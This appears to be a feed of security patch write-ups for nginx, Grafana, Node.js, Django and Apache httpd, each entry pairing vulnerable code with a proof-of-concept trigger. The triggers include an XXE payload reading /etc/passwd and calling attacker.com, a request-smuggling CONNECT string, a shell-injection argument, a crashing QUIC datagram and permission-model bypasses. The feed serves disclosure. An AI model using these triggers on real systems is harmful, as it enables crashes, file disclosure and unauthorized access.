“Exposing patches before CVEs since 2025”
Tuesday, September 1, 2026
Jul 15, 2026, 02:37 PM — nginx/nginx
Commit: d798231b56bb4a6284999e3b868b503c4a7ee8d3
Author: Roman Arutyunyan
Before the patch, nginx computed r->keepalive based on Connection header even for HTTP CONNECT requests, allowing the underlying connection to be treated as reusable for further HTTP request processing after a CONNECT tunnel was established. Since data sent by the client after the CONNECT blank line is meant to be tunneled (per RFC 2817), enabling keepalive could cause nginx to misinterpret tunneled bytes as pipelined HTTP requests, leading to request smuggling/desync between the client and backend.
switch (r->headers_in.connection_type) {
case 0:
r->keepalive = (r->http_version > NGX_HTTP_VERSION_10);
break;
case NGX_HTTP_CONNECTION_KEEP_ALIVE:
r->keepalive = 1;
break;
}
Send: `CONNECT backend:443 HTTP/1.1\r\nHost: backend\r\nConnection: keep-alive\r\n\r\nGET /admin HTTP/1.1\r\nHost: victim\r\n\r\n` — with keepalive enabled after CONNECT, nginx may treat the trailing `GET /admin` as a new pipelined request on the same connection instead of purely tunneled data, enabling smuggling of a second request that bypasses intended request boundaries.
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: a6a942fd6a7e18cc168a4c0281118d08181d668f
Author: Maxim Dounin
The Perl module's sleep() and has_request_body() XS functions called SvRV() on the handler argument without checking whether it was actually a reference to a code value (SVt_PVCV). If a script passed a non-reference (e.g., a plain string) as the handler, SvRV() would dereference invalid memory, causing a segmentation fault and crashing the worker process. This is exploitable by any nginx configuration or perl script that accepts external input as the handler argument, leading to a denial of service.
ctx->next = SvRV(ST(1)); // has_request_body ... ctx->next = SvRV(ST(2)); // sleep
In an nginx perl handler script:
$r->has_request_body("not_a_coderef");
or
$r->sleep(1000, "not_a_coderef");
Passing a plain scalar string instead of a code reference as the handler argument causes SvRV() to dereference an invalid pointer, crashing the nginx worker process with a segmentation fault (DoS).
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: d9b7669666c8acaf9ec109ce6c2f16011a5a3762
Author: Maxim Dounin
The nginx perl module relied on SvREADONLY() to decide whether to zero-copy a Perl SV's buffer directly into an nginx buffer or ngx_str_t without incrementing its reference count. When the SV came from a short-lived context (e.g. within an eval block), Perl could free or reuse the underlying string memory after the eval scope ended but before nginx finished using the buffer, resulting in a heap use-after-free when the freed memory is later read (e.g. during response output or in the sleep/has_request_body deferred handler paths). This is remotely triggerable by any config that embeds perl handlers using eval-created strings/subs.
if (SvREADONLY(sv) && SvPOK(sv)) {
s->data = p;
return NGX_OK;
}
... (also in print(): zero-copy without refcount for SvREADONLY sv)
nginx.conf:
location / {
perl 'sub {
my $r = shift;
$r->send_http_header;
eval q!$r->print("it works")!;
return OK;
}';
}
Requesting this location causes $r->print to store a raw pointer into the temporary SV created inside the eval block. Once eval returns, Perl frees/reuses the SV's PV buffer, and nginx later reads this freed memory while sending the response body, producing a heap use-after-free (observed as corrupted output or crash).
Jul 15, 2026, 10:06 AM — nginx/nginx
Commit: cf94d5691a895994714efc288e07b3fec3af5089
Author: Maxim Dounin
The nginx Perl module allowed Perl scripts to retain and reuse stale request objects across requests, or to bless arbitrary Perl scalars into the 'nginx' package, causing ngx_http_perl_set_request to dereference freed or attacker-controlled memory as an ngx_http_perl_ctx_t pointer. This can lead to segmentation faults (DoS) or potentially memory corruption/RCE if the freed memory is reused with attacker-controlled content. The patch adds validation via a global active-context pointer, ensuring only the currently active request context can be used.
#define ngx_http_perl_set_request(r, ctx) \
ctx = INT2PTR(ngx_http_perl_ctx_t *, SvIV((SV *) SvRV(ST(0)))); \
r = ctx->request
Configure nginx with a Perl handler that stashes the request object across invocations:
location /stale {
perl 'sub {
my $r = shift;
$prev->log_error(0, "next request arrived") if $prev;
$prev = $r;
$r->send_http_header;
return OK;
}';
}
Send two successive HTTP requests to /stale. On the second request, $prev (from the first, now-completed and freed request) is used, causing ngx_http_perl_set_request to dereference a freed ngx_http_perl_ctx_t and crash the worker process (segfault). Alternatively:
location /bless {
perl 'sub {
my $v = 10;
my $r = bless \$v, "nginx";
$r->send_http_header;
return OK;
}';
}
A request to /bless creates a fake 'nginx'-blessed object from an arbitrary scalar, and calling $r->send_http_header treats the scalar's integer value as a pointer to ngx_http_perl_ctx_t, causing a segmentation fault or memory corruption.
Jul 14, 2026, 04:35 PM — grafana/grafana
Commit: a914b350118c7bcf76d6a1ae3a7df490fab1837d
Author: Sergej-Vlasov
The v14→v16 dashboard schema migration's getPanelPosition function recursed unconditionally when a panel could not fit into the row's grid area. A legacy row panel with a span greater than 12 produces a panelWidth larger than the 24-column grid, meaning it can never satisfy the fit check, causing infinite recursion and a stack overflow that crashes the Grafana backend process. The patch restores a callOnce guard so the function wraps to the next row at most once before returning nil instead of recursing forever.
// Wrap to next row r.yPos += r.height r.reset() return r.getPanelPosition(panelHeight, panelWidth)
Import or migrate a dashboard JSON with schemaVersion 15 containing a row panel like:
{"rows": [{"panels": [{"id": 2, "type": "table", "span": 24, "title": "Clusters"}]}]}
When the backend runs the V16 migration on this dashboard, getPanelPosition recurses indefinitely (since panelWidth=48 > gridColumnCount=24 can never fit), causing a stack overflow and crashing the Grafana process — a remotely triggerable Denial of Service via dashboard import/migration.
Jul 14, 2026, 12:38 PM — nginx/nginx
Commit: 44c66e92c88bf2367dd31efc9d5843c0838d11f2
Author: Zhidao HONG
When parsing HTTP/2 (gRPC) and proxy-v2 response headers, the code computed ctx->name.len/ctx->value.len from the HPACK-encoded field length (including a x8/5 expansion for Huffman-coded data) and passed it directly to ngx_pnalloc without validating it against the configured upstream buffer_size. A malicious or compromised upstream server could send crafted HEADERS frames with very large field lengths, causing nginx to allocate large amounts of request-pool memory per header field and across many fields in a header block, leading to excessive memory consumption and potential denial of service. The patch adds explicit checks that reject name/value lengths exceeding upstream->conf->buffer_size before allocation, and maintains a decreasing header_limit counter across the whole header block to bound total memory used per HEADERS frame.
ctx->name.len = ctx->field_huffman ?
ctx->field_length * 8 / 5 : ctx->field_length;
ctx->name.data = ngx_pnalloc(r->pool, ctx->name.len + 1);
... (same pattern for ctx->value.len allocation, no size check against buffer_size)
An attacker controlling or spoofing the gRPC/HTTP2 upstream sends a HEADERS frame whose HPACK-encoded literal header field declares an extremely large string length (e.g., close to the max representable in the varint, or crafted so that field_length * 8/5 yields a huge value) for a header name or value. Since nginx used this attacker-controlled length directly in ngx_pnalloc(r->pool, len+1) without comparing it to upstream buffer_size, repeated such headers in one HEADERS frame could force nginx worker processes to allocate large amounts of pool memory per request, exhausting memory when many such requests/connections are made, resulting in a denial-of-service condition on the nginx server acting as a reverse proxy to that upstream.
Jul 13, 2026, 05:49 PM — nginx/nginx
Commit: 017dbad85610c0f267cb65ab99907b655be159e1
Author: Maxim Dounin
The XSLT filter module parsed backend XML responses with XML_PARSE_NOENT enabled but without XML_PARSE_NONET, allowing external general entities declared in the internal DTD subset (e.g. SYSTEM "http://...") to be resolved over the network during parsing. Since XML parsing happens synchronously in the nginx worker process, a malicious or compromised backend response could cause the worker to block for a long time fetching a remote/slow resource, resulting in a denial-of-service condition, or be used for SSRF-style network requests from the server. The fix adds XML_PARSE_NONET to the parser options, disabling network-based resolution of external entities.
xmlCtxtUseOptions(ctxt, XML_PARSE_NOENT|XML_PARSE_DTDLOAD
|XML_PARSE_NOWARNING);
ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;
A backend response processed by ngx_http_xslt_filter_module contains: <?xml version="1.0"?> <!DOCTYPE d [ <!ENTITY x SYSTEM "http://attacker.com/slow-endpoint"> ]> <d>&x;</d> When nginx's XSLT filter parses this document with XML_PARSE_NOENT set, libxml2 attempts to resolve the external entity 'x' over the network to attacker.com, which can be made to respond slowly or hang, blocking the nginx worker process handling the request until the connection times out (DoS). On libxml2 builds/versions where network loading is not restricted by default, this also enables SSRF-like requests originating from the server.
Jul 13, 2026, 05:49 PM — nginx/nginx
Commit: 4d0e620f9ad4e81dc229ca423fbbf3c2e23b3f83
Author: Maxim Dounin
The nginx XSLT filter module parsed untrusted upstream XML with XML_PARSE_NOENT | XML_PARSE_DTDLOAD without restricting external general entity resolution declared in the internal DTD subset. An attacker who can influence the XML response body could declare an entity with a SYSTEM identifier pointing to a local file or (on network-enabled libxml2 builds) a remote URL, causing the worker process to read arbitrary local files or make outbound network requests, potentially leading to information disclosure or SSRF, and even worker blocking via slow network fetches.
ctxt->options = (XML_PARSE_NOENT|XML_PARSE_DTDLOAD
|XML_PARSE_NONET|XML_PARSE_NOWARNING);
ctxt->sax->externalSubset = ngx_http_xslt_sax_external_subset;
/* no entityDecl hook to strip SYSTEM ids from internal subset entities */
Send an XML response to be processed by the xslt filter containing: <?xml version="1.0"?> <!DOCTYPE d [ <!ENTITY x SYSTEM "file:///etc/passwd"> ]> <root>&x;</root> Before the patch, libxml2 would expand &x; and include the contents of /etc/passwd (or fetch a URL like http://internal-host/) into the parsed document, which could then be reflected in the XSLT-transformed output or cause SSRF/blocking behavior.
Jul 7, 2026, 01:30 PM — nodejs/node
Commit: 2e8f4d7ad214332538ca9eed52269c92dfced8db
Author: Efe
When a unidirectional QUIC stream is created without a registered 'onstream' handler, JavaScript synchronously destroys the stream object, but native code (DefaultApplication) continues to access the now-destroyed Stream object, causing a use-after-free crash. Additionally, Session::Impl destructor called endpoint->RemoveSession() before releasing arena slots, allowing the last reference to the Session to be dropped and then having session_->env() accessed afterward, also a use-after-free. Both are remotely triggerable by any QUIC peer opening a unidirectional stream when no onstream handler is registered.
stream = BaseObjectPtr<Stream>(Stream::From(stream_user_data)); // ... no check for is_destroyed() before continuing to use `stream` // session.cc destructor: endpoint->RemoveSession(config_.scid, remote_address_); auto& binding = BindingData::Get(env()); if (stats_slot_) GetSessionStatsArena(binding).ReleaseSlot(stats_slot_);
A remote QUIC client connects to a Node.js QUIC server (or vice versa) that has not registered an 'onstream' event handler, then opens a unidirectional stream and sends data, e.g.:
const session = await connect(serverAddr, { alpn: 'repro' });
await session.opened;
await session.createUnidirectionalStream({ body: 'trigger crash' });
On the receiving side (no onstream handler registered), the JS layer synchronously destroys the stream object upon creation event since there is no handler, but the native DefaultApplication code keeps using the freed Stream pointer while processing incoming stream data, causing a crash (denial of service) or potentially exploitable memory corruption due to use-after-free.
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 3a720d0d8bf2529253b98968f10ca73daf6d693c
Author: Natalia
DomainNameValidator's regex used `$` instead of `\\Z` as the end anchor, which in Python regex matches before a trailing newline. This allowed strings like 'example.com\\n' to pass validation as a valid domain name, potentially enabling HTTP header/CRLF injection if such validated values were later embedded into HTTP headers or other newline-sensitive contexts outside Django's form fields.
self.regex = _lazy_re_compile(
r"^" + self.hostname_re + self.domain_re + self.tld_re + r"$",
re.IGNORECASE,
)
from django.core.validators import DomainNameValidator
validator = DomainNameValidator()
validator('example.com\n') # Does NOT raise ValidationError before the patch, allowing a newline-terminated domain to pass validation and potentially be injected into an HTTP header (e.g., Host or Location) causing CRLF injection/header splitting in custom code that trusts this validator.
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 6ca2bbe2efce21010eff48f1f36a3f621d698ed8
Author: Jacob Walls
When constructing a GDALRaster from a bytes object, the code used sys.getsizeof() to determine the buffer size, which includes CPython's PyBytesObject overhead (~32-49 bytes) rather than the actual data length. This caused GDAL to read past the end of the allocated buffer into adjacent heap memory when accessing the vsi_buffer property, potentially disclosing sensitive heap memory contents or causing a crash.
size = sys.getsizeof(ds_input) # Pass data to ctypes, keeping a reference to the ctypes object so # that the vsimem file remains available until the GDALRaster is # deleted. self._ptr_buffer = c_buffer(ds_input, size)
from django.contrib.gis.gdal.raster.source import GDALRaster
rst_bytes = open('raster.tif','rb').read()
vsimem = GDALRaster(rst_bytes)
# vsimem.vsi_buffer will be longer than len(rst_bytes) due to sys.getsizeof() including PyBytesObject overhead (~32 bytes), exposing adjacent heap memory:
assert len(vsimem.vsi_buffer) != len(rst_bytes) # over-read demonstrated
Jul 7, 2026, 03:30 AM — django/django
📈 Patch landed 12 hours 2 minutes before CVE published
Commit: 6e365f8d01f2ba0bbd90968d76a42600fb8bc4b1
Author: Natalia
UpdateCacheMiddleware only skipped caching Set-Cookie responses varying on Cookie when the incoming request had zero cookies, so a request carrying any unrelated cookie (e.g., a language preference) bypassed the protection. This allowed a response that issues a new session or CSRF cookie to be stored in Django's shared cache and served to other users, leaking session cookies via a shared cache hit. The patch removes the 'no cookies at all' condition, always skipping caching when a response sets a cookie and varies on Cookie.
if (
not request.COOKIES
and response.cookies
and has_vary_header(response, "Cookie")
):
return response
1. Client sends GET /view/ with Cookie: unrelated=value (e.g. a language preference cookie). 2. Server (via CsrfViewMiddleware or session middleware) responds with Set-Cookie: csrftoken=NEW_SECRET and Vary: Cookie. 3. Because request.COOKIES is non-empty (contains 'unrelated'), the old guard 'not request.COOKIES' is False, so the response is cached under UpdateCacheMiddleware with a cache key derived from the Cookie header value 'unrelated=value'. 4. A different client sending the same Cookie: unrelated=value header (trivial to guess/share) receives the cached response and thus the first client's freshly issued session/CSRF cookie, allowing session fixation/hijacking.
Jul 7, 2026, 02:58 AM — nodejs/node
Commit: d7aca7e158b37b1a357cbd6d81f6d2454d07e3ef
Author: Tim Perry
The QUIC session's `closed` promise was not marked as handled before being rejected on error close, unlike the `opened` promise. If an application does not synchronously attach a handler to `session.closed`, a remote peer can trigger an error close (e.g., via a QUIC error code on connection close), causing an unhandled promise rejection that crashes the Node.js process by default, since Node exits on unhandled rejections unless configured otherwise.
if (error) {
// If the session is still waiting to be closed, and error
// is specified, reject the closed promise.
inner.pendingClose.reject?.(error);
} else {
1. Start a QUIC server that accepts sessions but does not attach a handler to `session.closed` synchronously.
2. As a remote client, connect and then call `clientSession.close({ code: 1 })` to trigger an error-coded close.
3. On the server, the session's `closed` promise rejects but is unobserved, triggering Node's default `unhandledRejection` handler, which terminates the process — allowing any remote client to crash the server.
Jul 6, 2026, 03:15 PM — nodejs/node
Commit: 1e14be8f786321ce9c215b96d2dbf92394749515
Author: Ic3b3rg
BrotliCompress/BrotliDecompress.flush(kind) forwarded any user-supplied value directly to the native brotli encoder/decoder without validating it was within the valid brotli operation range \[0,3\]. Passing an out-of-range value such as Z_FINISH (4) or Z_BLOCK causes the native layer to spin at 100% CPU indefinitely, allowing an attacker who controls the flush argument (e.g., in a server that exposes stream flushing based on user input) to cause a denial of service. The patch validates the kind against the brotli bound range and throws ERR_OUT_OF_RANGE for invalid values.
ZlibBase.prototype.flush = function(kind, callback) {
...
if (this.writableFinished) {
if (callback)
process.nextTick(callback);
} else if (this.writableEnded) {
...
} // kind forwarded to native layer without range validation
const zlib = require('zlib');
const c = zlib.createBrotliCompress();
c.flush(zlib.constants.Z_FINISH); // value 4, outside brotli's valid [0,3] range
// Before the patch: process spins at 100% CPU indefinitely (hang), causing a DoS.
// After the patch: throws RangeError [ERR_OUT_OF_RANGE]: The value of "kind" is out of range.
Jul 6, 2026, 02:05 PM — nodejs/node
Commit: 8a84e6be900edfb5764e4ec9acff0c0b0c4d8f34
Author: ympark2011
The inspector's ProtocolHandler::WriteRaw() dereferenced the tcp_ pointer without checking for null. When a remote debugger client disconnects, OnEof() resets tcp_ to nullptr, but queued write requests scheduled via uv_async callbacks or triggered during ParseWsFrames() processing could still invoke Write()/WriteRaw() afterward, causing a crash (EXCEPTION_ACCESS_VIOLATION) due to null pointer dereference. This is remotely triggerable by a debugger client that connects to the Node.js inspector port and disconnects at a specific time while messages are still queued or being processed, resulting in a denial-of-service crash of the Node.js process.
int ProtocolHandler::WriteRaw(const std::vector<char>& buffer,
uv_write_cb write_cb) {
return tcp_->WriteRaw(buffer, write_cb);
}
1. Start Node.js with --inspect to expose the debugger websocket. 2. Connect a WebSocket client to the inspector endpoint. 3. Send a compressed or malformed frame that triggers OnEof() internally during ParseWsFrames() processing (e.g., a frame with an unsupported compression extension flag), while also queuing an outgoing message (e.g., inspector protocol response) via the uv_async mechanism on the same event loop iteration. 4. Alternatively, abruptly disconnect the TCP connection (close socket) right after sending a request that causes the server to queue a response, so OnEof() resets tcp_ to nullptr before the async write callback fires. 5. The subsequent call to WsHandler::Write() -> ProtocolHandler::WriteRaw() dereferences the null tcp_ pointer (tcp_->WriteRaw(...)), causing an EXCEPTION_ACCESS_VIOLATION crash and terminating the Node.js process (DoS).
Jul 6, 2026, 12:51 PM — apache/httpd
Commit: 584eb25bd111248db000346a3b680e363a87723e
Author: Joe Orton
When AuthDigestNonceLifetime is 0 (one-time-nonce mode) and no shared-memory counter was available, mod_auth_digest fell back to using the constant value 42 as the nonce time component instead of an incrementing counter. This makes the one-time-nonce completely predictable and identical across requests, allowing an attacker to reuse or forge nonces and replay digest authentication challenges, defeating the anti-replay protection the one-time-nonce mechanism is meant to provide.
else if (otn_counter) {
t.time = (*otn_counter)++;
}
else {
/* XXX: WHAT IS THIS CONSTANT? */
t.time = 42;
}
On a non-shmem build (or one where otn_counter allocation failed) with AuthDigestNonceLifetime set to 0, every generated nonce would embed the constant time value 42 instead of a monotonically increasing counter. An attacker could capture a single valid Digest Authorization header (including nonce and nc) and replay it against the server repeatedly, since the server would generate/accept nonces that are not actually unique per request, undermining the one-time-nonce replay protection (e.g., replaying `Authorization: Digest ... nonce="<base64 of 42>..." nc=00000001 ...` multiple times).
Jul 6, 2026, 12:40 PM — nodejs/node
Commit: 9548cbcbe75be66f3c1b46397f3467acf8538836
Author: Mohamed Sayed
When decoding a QUIC long-header packet with an unsupported version, ngtcp2_pkt_decode_version_cid() returns raw, unclamped DCID/SCID length fields from the wire (up to 255 bytes) instead of enforcing NGTCP2_MAX_CIDLEN (20). Endpoint::Receive() constructed CID objects directly from these lengths in the NGTCP2_ERR_VERSION_NEGOTIATION branch before the existing length check (which only applied to the supported-version path), causing a write past the fixed 20-byte ngtcp2_cid buffer and triggering an assertion abort, crashing the process. A single unauthenticated UDP datagram sent to any QUIC endpoint before handshake completion could remotely crash the server.
case NGTCP2_ERR_VERSION_NEGOTIATION: // ... builds CID objects using pversion_cid.dcidlen / scidlen // (no length check before construction, unlike the supported-version path)
Craft a UDP datagram of at least 1200 bytes with a QUIC long-header: byte0=0xc0 (long header + fixed bit), bytes1-4=0x0a0a0a0a (unsupported version), byte5=21 (DCID length > NGTCP2_MAX_CIDLEN of 20), followed by 21 arbitrary DCID bytes, then a SCID length byte, and padding to 1200 bytes. Sending this single packet via UDP to a listening node:quic endpoint causes ngtcp2_pkt_decode_version_cid() to report dcidlen=21, which Endpoint::Receive() uses to construct a CID backed by a 20-byte buffer, triggering assert(datalen <= NGTCP2_MAX_CIDLEN) in ngtcp2_cid_init() and aborting the Node.js process — a remote unauthenticated crash (DoS).
Jul 4, 2026, 08:56 AM — nodejs/node
Commit: e76c573e4546ce9e89e0dd954f80aaba32148a48
Author: Antoine du Hamel
The `EscapeShell` function in Node.js task runner incorrectly escaped single quotes in shell arguments on Unix systems by replacing `'` with `\\'`, which does not properly terminate and re-enter single-quoted strings in POSIX shells. This caused shell syntax errors and could allow arguments containing single quotes to break out of the intended quoting context, potentially enabling command injection when passing positional arguments with single quotes to `node --run`. The fix replaces the broken `\\'` approach with the correct `'"'"'` technique (end single-quote, literal single-quote via double-quotes, restart single-quote).
std::string escaped =
std::regex_replace(std::string(input), std::regex("'"), "\\'");
node --run myscript -- "I think therefore I'm" # Before patch: /bin/sh receives: -c 'script I think therefore I\'m' # The backslash does NOT escape the single quote inside single-quoted strings in POSIX sh, # causing: unexpected EOF while looking for matching `'` syntax error. # A malicious argument like: foo' ; malicious_command ; ' # would result in: -c 'escaped_cmd foo\' ; malicious_command ; \'' # which after shell processing executes: malicious_command
Jul 3, 2026, 05:59 PM — nginx/nginx
Commit: 29c23ad846787e8baa1390b2edca479eb63ea8d7
Author: Sergey Kandaurov
When a `charset_map` directive was configured with `utf-8` in the first column (source charset), nginx would immediately segfault upon processing requests. The charset module was never designed to handle UTF-8 as the source charset in a charset_map, and accessing the tables in this configuration caused a null pointer dereference. The patch adds a configuration-time check that rejects this invalid configuration with an error, preventing the crash.
table = mcf->tables.elts;
for (i = 0; i < mcf->tables.nelts; i++) {
if ((src == table->src && dst == table->dst)
// No check for utf-8 in first column before this point
In nginx.conf, add:
charset_map utf-8 windows-1251 {
D0B0 E0;
}
charset utf-8;
source_charset windows-1251;
Then start nginx and send any HTTP request to the configured location. Nginx worker process will segfault immediately when processing the charset conversion, causing a denial of service. The crash is reproducible and deterministic based on the configuration alone.
Jul 3, 2026, 09:14 AM — grafana/grafana
📈 Patch landed 7 days 9 hours 18 minutes before CVE published
Commit: 8891796ca1086cd234e1715ea71d8db0073cc160
Author: Gabriel MABILLE
Before this patch, the RBAC allowlist for unified storage did not include 'serviceaccounts' under the 'iam.grafana.app' group. This meant that when listing/searching/reading service accounts, the authzLimitedClient would not apply RBAC filtering, potentially allowing users without proper permissions to enumerate or read service account resources. The fix adds 'serviceaccounts' to the allowlist so that RBAC checks are properly enforced during list/search operations.
"iam.grafana.app": map[string]interface{}{"users": nil, "teams": nil},
A low-privileged user with no service account read permissions could issue a LIST request to the unified storage API for service accounts (GET /apis/iam.grafana.app/v1/namespaces/{org}/serviceaccounts) and receive a full list of service accounts without being filtered by RBAC, since the authzLimitedClient would bypass the access check for resources not in its allowlist.
Jul 2, 2026, 04:57 PM — nodejs/node
Commit: 592219798f9c091cf45427a827e763d964c3c2f8
Author: Matteo Collina
Fix a bug in `copyPermissionModelFlagsToEnv` where the substring check `env\[key\].indexOf('--permission') !== -1` falsely treats unrelated `NODE_OPTIONS` values like `--title=--permission` as if the child already has an explicit Permission Model policy. This prevents flag propagation, causing the child to run without `process.permission`.
if (args.includes('--permission') || args.includes('--permission-audit') ||
(env[key] && env[key].indexOf('--permission') !== -1)) {
return;
}
// Run a Node.js process with Permission Model enabled that spawns a child:
// Parent: node --permission --allow-child-process --allow-fs-read=* parent.js
// parent.js:
const { spawnSync } = require('child_process');
const result = spawnSync(process.execPath, ['-e', 'console.log(typeof process.permission)'], {
env: { ...process.env, NODE_OPTIONS: '--title=--permission' }
});
// Before fix: prints 'undefined' (child has no Permission Model)
// After fix: prints 'object' (child has Permission Model enforced)
console.log(result.stdout.toString()); // 'undefined' before patch
Jul 2, 2026, 03:28 PM — nodejs/node
Commit: b7e9a20bac3eeb83c0a4e96e6b95c90e796b3653
Author: Martin Wagner
The Node.js Permission Model's `permission.drop('addon')` function was ineffective because the DLOpen code path only checked the `allow_native_addons` option (set at startup) but never performed a runtime permission check. This meant a process that started with `--allow-addons` could call `process.permission.drop('addon')` to signal it no longer wanted addon loading, but could still successfully load native addons via `process.dlopen()`. The fix adds a `THROW_IF_INSUFFICIENT_PERMISSIONS` check in the `DLOpen` function so the permission model is enforced at runtime.
void DLOpen(const FunctionCallbackInfo<Value>& args) {
return THROW_ERR_DLOPEN_DISABLED(
env, "Cannot load native addon because loading addons is disabled.");
}
// No permission check here - missing THROW_IF_INSUFFICIENT_PERMISSIONS
// Run with: node --permission --allow-addons --allow-fs-read=* exploit.js
// BEFORE the patch:
process.permission.drop('addon');
console.log(process.permission.has('addon')); // false - looks like addon is denied
// But this still succeeds - bypass!
process.dlopen({ exports: {} }, '/path/to/malicious.node');
// The native addon executes arbitrary code despite permission.drop('addon') being called
Jun 30, 2026, 07:39 PM — grafana/grafana
Patch landed 8 days 1 hour 4 minutes after CVE published
Commit: a4703d4dca7ed6f682739e2fc75227c6ce69f8c2
Author: Collin Fingar
The GET /api/library-elements/name/:name endpoint was registered without any authentication or authorization middleware, allowing unauthenticated or unprivileged users to read library panel data by name. The patch adds the standard `authorize(ac.EvalPermission(ActionLibraryPanelsRead))` middleware to enforce the library.panels:read permission check before serving the response.
entities.Get("/name/:name", routing.Wrap(l.getByNameHandler)) // TODO: add wrapper for k8s - requires search
curl -s http://anonymous:wrongpassword@grafana-host/api/library-elements/name/My%20Library%20Panel # Returns 200 with library panel data without any authentication, while all other /api/library-elements/* endpoints require authentication and proper RBAC permissions.
Jun 30, 2026, 10:08 AM — nodejs/node
Commit: ea60060617d89b0af5eea55b7eea74958846ea45
Author: Matteo Collina
The MemoryProvider's recursive readdir implementation would follow symlinks to directories without tracking which directories were already being traversed. If a circular symlink was present (e.g., a directory containing a symlink pointing back to itself or to an ancestor), the recursive walk would loop indefinitely until the call stack was exhausted, causing a stack overflow and crashing the Node.js process. The fix introduces a SafeSet to track currently-active directory entries during traversal and skips re-entering any entry already on the active path.
const walk = (entry, currentPath, relativePath) => {
this.#ensurePopulated(entry, currentPath);
for (const { 0: name, 1: childEntry } of entry.children) {
// ... follows symlinks to directories with no cycle detection
// Node.js process crashes with stack overflow (RangeError: Maximum call stack size exceeded)
const vfs = require('node:vfs');
const v = vfs.create();
v.mkdirSync('/dir');
v.writeFileSync('/dir/file.txt', 'data');
v.symlinkSync('/dir', '/dir/loop'); // circular: /dir/loop -> /dir
// This triggers infinite recursion in #readdirRecursive:
v.readdirSync('/', { recursive: true }); // crashes the process
Jun 24, 2026, 02:00 PM — django/django
📈 Patch landed 13 days 1 hour 32 minutes before CVE published
Commit: 65acb3cc2e76c238f5aee38d22626d92171a2f7c
Author: Jacob Walls
The `_generate_cache_key` function in Django's cache framework concatenated HTTP header values without any delimiter when building the cache key hash. This allowed two requests with different header values to produce the same cache key if the values concatenated to the same string (e.g., headers 'EU' and '' vs '' and 'EU'). The patch fixes this by using netstring encoding (length-prefixed with trailing comma) for each header value, ensuring unique encodings for distinct value combinations.
for header in headerlist:
value = request.META.get(header)
if value is not None:
ctx.update(value.encode())
# Setup: Response varies on two headers X-Region and X-Tenant
# Request A: X-Region='EU', X-Tenant='' -> MD5 input: b'EU' + b'' = b'EU'
# Request B: X-Region='', X-Tenant='EU' -> MD5 input: b'' + b'EU' = b'EU'
# Both produce the same cache key, so Request B gets the cached response for Request A
# Concrete exploit:
import requests
# First request: user in EU region, empty tenant
r1 = requests.get('https://example.com/page', headers={'X-Region': 'EU', 'X-Tenant': ''})
# This response gets cached under key hash of 'EU'
# Second request: empty region, EU tenant - a DIFFERENT user context
# Gets served the WRONG cached response because hash('EU') == hash('EU')
r2 = requests.get('https://example.com/page', headers={'X-Region': '', 'X-Tenant': 'EU'})
# r2 incorrectly receives r1's cached content